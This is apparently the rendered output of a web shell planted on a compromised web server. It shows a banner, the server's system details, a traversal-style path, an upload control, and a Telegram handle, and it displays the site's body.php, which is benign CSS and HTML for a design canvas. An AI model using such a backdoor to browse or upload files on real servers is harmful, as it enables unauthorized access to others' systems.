(　′∀`)σ≡σ☆))Д′)ﾚ(ﾟ∀ﾟ;)ﾍ=З=З=Зε≡(ノ´＿ゝ｀）ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
$ pwd: /var/www/html/tmpr/../tmpr/../tmpr/../tmpr/../
Upload Files
File: /var/www/html/tmpr/../tmpr/..//tmpr/../tmpr/..//body.php
<style>
 
#brand-content {
    width: 60% !important; 
    height: auto !important;
 
} 
#pages-scroll-container {
    width: 100%;
    display: flex;
    justify-content: center;
    padding-top: 10px;
}
.page-container {
    width: 100%;
    display: flex;
    justify-content: center;
}
.canvas-container {
    display: flex;
    justify-content: center;
}
.brand-loader-progress {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 3px;
    border-radius: 999px;
    overflow: hidden;
    background: rgba(15, 23, 42, 0.08);
    display: none;
    z-index: 1000;
    pointer-events: none;
}
.brand-loader-progress > span {
    display: block;
    height: 100%;
    width: 0%;
    border-radius: 999px;
    background: linear-gradient(90deg, rgba(0, 182, 232, 0) 0%, #00b6e8 22%, #7a45ff 55%, #e5226b 78%, rgba(229, 34, 107, 0) 100%);
    background-size: 220% 100%;
    animation: brandProgressShimmer 1.15s infinite linear;
    transition: width 0.2s ease;
}

@keyframes brandProgressShimmer {
    0% { background-position: 0% 0%; }
    100% { background-position: 200% 0%; }
}
</style>



<div class="TheBrandUtilMain"><div id="brand-body">
        <div class="brand-wrap">

            <div id="brand-ruler" class="brand-inner-wrap">


                <!-- Ruler -->

                <!-- Canvas Content START -->
                <div id="brand-content" class="">
                    <div id="brand-canvas-img-wrap" style="position:absolute;left:-100000px;top:-100000px;opacity:0;pointer-events:none;">
                        <img id="brand-canvas-img" src="" data-filename="" data-template="" />
                    </div>
                    <!-- Scrollable Container for Pages -->
                    <div id="pages-scroll-container" style=" width:100%; overflow-y: auto; max-height: 100vh; position: relative;">
                        <div id="pages-wrapper" style="gap:20px;   display: flex; flex-direction: column; align-items: center; ">
                            <!-- Pages will be injected here by brand.js -->
                        </div>
                    </div>

                    <!-- Global UI Elements (Keep these if they are shared, or move into JS to append per-page) -->
                    <!-- Note: 'brand-content-bar' (zoom/dimensions) might need to be per-page or global context-aware -->
                    <div class="brand-content-bar" style="position: fixed; bottom: 20px; right: 20px; z-index: 1000; transform: scale(0.8);">
                        <div class="brand-img-size"><span id="brand-img-width"></span>px <span class="material-icons">clear</span> <span id="brand-img-height"></span>px</div>
                        <!-- ... other controls ... -->
                         <button id="brand-img-drag-proxy" class="brand-btn" style="background: none"><span class="material-icons" style="font-size:20px; line-height:25px; margin-right:10px">pan_tool</span></button>
                      <div class="brand-comment-btn" title="Comments (C)" style="display:inline-block; vertical-align:middle; cursor:pointer; margin-left:5px;"><span class="material-icons" style="font-size:20px; line-height:25px;">comment</span></div>
                    </div>
                </div>
                <!-- Canvas Content END -->
            </div>
        </div>
    </div></div>
@ Telegram